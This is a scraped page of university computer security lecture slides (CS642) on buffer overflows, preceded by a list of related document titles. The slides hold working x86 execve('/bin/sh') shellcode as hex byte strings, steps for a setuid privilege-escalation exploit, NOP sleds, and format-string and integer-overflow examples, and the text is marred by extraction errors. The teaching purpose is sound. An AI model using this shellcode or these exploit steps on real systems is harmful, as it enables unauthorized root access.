Buffer overflows & friends CS642: Computer Security

Similar documents
Buffer overflows & friends CS642: Computer Security

Lecture 9: Buffer Overflow* CS 392/6813: Computer Security Fall Nitesh Saxena

Lecture 6: Buffer Overflow. CS 436/636/736 Spring Nitesh Saxena

Foundations of Network and Computer Security

Foundations of Network and Computer Security

Control Hijacking Attacks

Foundations of Network and Computer Security

Buffer Overflow Vulnerability

CS 645: Lecture 3 Software Vulnerabilities. Rachel Greenstadt July 3, 2013

CS642: Computer Security

COMP 2355 Introduction to Systems Programming

Architecture-level Security Vulnerabilities

Buffer Overflow Vulnerability Lab Due: September 06, 2018, Thursday (Noon) Submit your lab report through to

CS4264 Programming Assignment 1 Buffer Overflow Vulnerability Due 02/21/2018 at 5:00 PM EST Submit through CANVAS

Lecture 04 Control Flow II. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Based on Michael Bailey s ECE 422

CSC 405 Computer Security Shellcode

Buffer. This time. Security. overflows. Software. By investigating. We will begin. our 1st section: History. Memory layouts

Buffer Overflow Vulnerability Lab

ISA564 SECURITY LAB. Shellcode. George Mason University

COMP 3704 Computer Security

Topics. What is a Buffer Overflow? Buffer Overflows

buffer overflow exploitation

2 Resources Required. 3 Assignment Tasks. 3.1 Initial setup

Basic Buffer Overflows

Università Ca Foscari Venezia

1 Recommended Readings

Architecture-level Security Vulnerabilities. Julian Stecklina

1 Lab Overview. 2 Resources Required. CSC 666 Lab #11 Buffer Overflow November 29, 2012

CMPSC 497 Buffer Overflow Vulnerabilities

CS642: Computer Security

Buffer Overflow Attack

X86 Review Process Layout, ISA, etc. CS642: Computer Security. Drew Davidson

War Industries Presents: An Introduction to Programming for Hackers Part III - Advanced Variables & Flow Control.

Buffer Overflows Defending against arbitrary code insertion and execution

CSE 127 Computer Security

CSE 127 Computer Security

Topics in Software Security Vulnerability

Betriebssysteme und Sicherheit Sicherheit. Buffer Overflows

Lecture 08 Control-flow Hijacking Defenses

One-Slide Summary. Lecture Outline. Language Security

CSE 127 Computer Security

Secure Programming Lecture 3: Memory Corruption I (Stack Overflows)

Advanced Security for Systems Engineering VO 05: Advanced Attacks on Applications 2

Roadmap: Security in the software lifecycle. Memory corruption vulnerabilities

CS 241 Honors Security

Process Layout and Function Calls

2 Sadeghi, Davi TU Darmstadt 2012 Secure, Trusted, and Trustworthy Computing Chapter 6: Runtime Attacks

Assembly Language: Function Calls

Is stack overflow still a problem?

Biography. Background

Assembly Language: Function Calls" Goals of this Lecture"

Secure Software Development: Theory and Practice

06/21/04 15:09:12 smashing_the_stack_for_fun_and_profit.txt 1

From Over ow to Shell

Assembly Language: Function Calls" Goals of this Lecture"

THEORY OF COMPILATION

ROP It Like It s Hot!

This time. Defenses and other memory safety vulnerabilities. Everything you ve always wanted to know about gdb but were too afraid to ask

CSE / / 60567: Computer Security. Software Security 4

Security Workshop HTS. LSE Team. February 3rd, 2016 EPITA / 40

Writing Exploits. Nethemba s.r.o.

Advanced Buffer Overflow

CS 31: Intro to Systems Functions and the Stack. Martin Gagne Swarthmore College February 23, 2016

CSc 466/566. Computer Security. 20 : Operating Systems Application Security

CS 392/681 Lab 6 Experiencing Buffer Overflows and Format String Vulnerabilities

Buffer Overflows. CSC 482/582: Computer Security Slide #1

Assembly Language: Function Calls. Goals of this Lecture. Function Call Problems

Security and Privacy in Computer Systems. Lecture 5: Application Program Security

malloc() is often used to allocate chunk of memory dynamically from the heap region. Each chunk contains a header and free space (the buffer in which

x86 assembly CS449 Fall 2017

CNIT 127: Exploit Development. Ch 1: Before you begin. Updated

20: Exploits and Containment

BUFFER OVERFLOW. Jo, Heeseung

Buffer Overflow. Jo, Heeseung

Buffer Overflow Vulnerability Lab

18-600: Recitation #4 Exploits

BUFFER OVERFLOW DEFENSES & COUNTERMEASURES

Return oriented programming

Buffer Overflow. Jin-Soo Kim Computer Systems Laboratory Sungkyunkwan University

Language Security. Lecture 40

Sandwiches for everyone

HW 8 CS681 & CS392 Computer Security Understanding and Experimenting with Memory Corruption Vulnerabilities DUE 12/18/2005

Final Exam. Fall Semester 2016 KAIST EE209 Programming Structures for Electrical Engineering. Name: Student ID:

Advanced Buffer Overflow

U23 - Binary Exploitation

Introduction to Computer Systems , fall th Lecture, Sep. 28 th

Lab 2: Buffer Overflows

We will focus on Buffer overflow attacks SQL injections. See book for other examples

putting m bytes into a buffer of size n, for m>n corrupts the surrounding memory check size of data before/when writing

Sungkyunkwan University

CS 161 Computer Security. Week of January 22, 2018: GDB and x86 assembly

CSE 509: Computer Security

Netric Security Team - Instruction pointer schurken :-) -- By gloomy & The Itch. -- "Radical Environmentalists" Preface

Project 1 Notes and Demo

Lab 10: Introduction to x86 Assembly

CSC 591 Systems Attacks and Defenses Return-into-libc & ROP

CPS104 Recitation: Assembly Programming

Buffer Overflow Vulnerabilities

The first Secure Programming Laboratory will be today! 3pm-6pm in Forrest Hill labs 1.B31, 1.B32.

Buffer Overflows. Buffer Overflow. Many of the following slides are based on those from

Transcription:

Buffer overflows & friends CS642: Computer Security Professor Ristenpart h9p://www.cs.wisc.edu/~rist/ rist at cs dot wisc dot edu University of Wisconsin CS 642

Homework 1 will be up tonight

Low- level sonware security starts with buffer overflows (Gray Hat Hacking chapter 7) C code, process layout, assembly recall Buffer overflows on stack ConstrucSng an exploit buffer SeWng up exploit code University of Wisconsin CS 642

Running demo example (from Gray hat hacking w/ modificasons)

Say this file, meet.c, is compiled setuid Recall: setuid means it will run as root

(DEMO)

Privilege escalason obtained! Now we ll see what happened

Process memory layout unused space.text.data.bss heap stack Env. Low memory addresses.text: machine code of executable.data: global inisalized variables.bss: below stack secson global uninisalized variables High memory addresses heap: dynamic variables stack: local variables, track func calls Env: environment variables, arguments to program

The stack local var1 EBP EIP Param1 Param2 caller local vars Low memory addresses stack pointer (ESP) stack base pointer (EBP) High memory addresses

greesng( int v1 ) { char name[400]; } int main(int argc, char* argv[]) { int p1; greesng( p1 ); }

greesng( int v1 ) { char name[400]; } int main(int argc, char* argv[]) { int p1; greesng( p1 ); }

Smashing the stack name EBP name EIP temp1 temp2 caller local vars Low memory addresses If temp2 has more than 400 bytes High memory addresses

(DEMO)

Smashing the stack name EBP EIP temp1 temp2 caller local vars Low memory addresses High memory addresses The key here is EIP When greesng() returns, will jump to address pointed to by the EIP value saved on stack Return address overwri9en when name buffer overflows

Smashing the stack Useful for denial of service (DoS) Be9er yet: control flow hijacking When greesng() returns, jumps to address pointed to by ptr temp2 buffer values ptr Have it point back into buffer, system tries to execute buf as machine code name EBP EIP temp1 temp2 caller local vars Low memory addresses High memory addresses

Building an exploit sandwich Ingredients: executable machine code pointer to machine code machine code ptr

Building shell code #include <stdio.h> void main() { char *name[2]; } name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); Shell code from AlephOne movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here. Problem: we don t know where we are in memory

jmp offset- to- call # 2 bytes popl %esi # 1 byte movl %esi,array- offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi) # 4 bytes movl $0x0,null- offset(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal array- offset,(%esi),%ecx # 3 bytes leal null- offset(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call offset- to- popl # 5 bytes /bin/sh string goes here. empty bytes # 4 bytes Building shell code jmp more code call popl /bin/ sh empty address of /bin/sh ptr

Building shell code char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; Another issue: strcpy stops when it hits a NULL byte SoluSon: AlternaSve machine code that avoids NULLs

Building shell code char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh" Another issue: strcpy stops when it hits a NULL byte SoluSon: Alternate machine code that avoids NULLs Mason et al., English Shellcode www.cs.jhu.edu/~sam/ccs243- mason.pdf

jmp more code call popl /bin/ sh address of empty /bin/sh ptr This is a crude way of gewng stack pointer

NOPs jmp more code call popl /bin/ sh address of empty /bin/sh ptr We can use a nop sled to make the arithmesc easier InstrucSon xchg %eax,%eax which has opcode \x90 Land anywhere in NOPs, and we are good to go

NOPs jmp more code call popl /bin/ sh address of empty /bin/sh ptr ptr ptr We can use a nop slod to make the arithmesc easier InstrucSon xchg %eax,%eax which has opcode \x90 Land anywhere in NOPs, and we are good to go Can also add lots of copies of ptr at end

(DEMO)

Bad C library funcsons strcpy strcat scanf gets More safe versions: strncpy, strncat, etc. These are not foolproof either!

Small buffers What if 400 is changed to a small value, say 10? more call /bin/ address of NOPs jmp empty ptr ptr ptr code popl sh /bin/sh

Small buffers Use an environment variable to store exploit buffer execve( meet, argv, envp) envp = array of pointers to strings (just like argv) - > Normally, bash passes in this array from your shell s environment - > you can also pass it in explicitly via execve().text.data.bss heap stack Env. Low memory addresses High memory addresses

Small buffers Return address overwri9en with ptr to environment variable ptr NOPs jmp more code call popl /bin/ sh address of empty /bin/sh.text.data.bss heap stack Env. Low memory addresses High memory addresses

There are other ways to inject code examples:.dtors (Gray Hat book), funcson pointers, dig around in Phrack arscles

Integer overflows void func(int a, char v) char buf[128]; init(buf); buf[a] = v; } &buf[a] could be return address

Integer overflows #include <stdio.h> #include <string.h> int main(int argc, char *argv[]){ unsigned short s; int i; char buf[80]; if(argc < 3){ return - 1; } nova:signed {100}./width1 5 hello s = 5 hello nova:signed {101}./width1 80 hello Oh no you don't! nova:signed {102}./width1 65536 hello s = 0 SegmentaSon fault (core dumped) } i = atoi(argv[1]); s = i; if(s >= 80) { /* [w1] */ prin ("Oh no you don't!\n"); return - 1; } prin ("s = %d\n", s); memcpy(buf, argv[2], i); buf[i] = '\0'; prin ("%s\n", buf); return 0;

Heap overflows.text.data.bss heap stack Env. Low memory addresses High memory addresses a9acker buf buffer funcson a9acker pointer ptr

Format- string vulnerabilises prin ( const char* format, ) prin ( Hi %s %s, argv[0], argv[1] ) void main(int argc, char* argv[]) { prin ( argv[1] ); } argv[1] = %s%s%s%s%s%s%s%s%s%s%s A9acker controls format string gives all sorts of control Can do control hijacking directly

Buffer Overflow Format String public since mid 1980 s June 1999 danger realized 1990 s June 2000 number of exploits a few thousand a few dozen considered as security threat programming bug techniques evolved and advanced basic techniques visibility sometimes very difficult to spot easy to find From ExploiSng format string vulnerabilises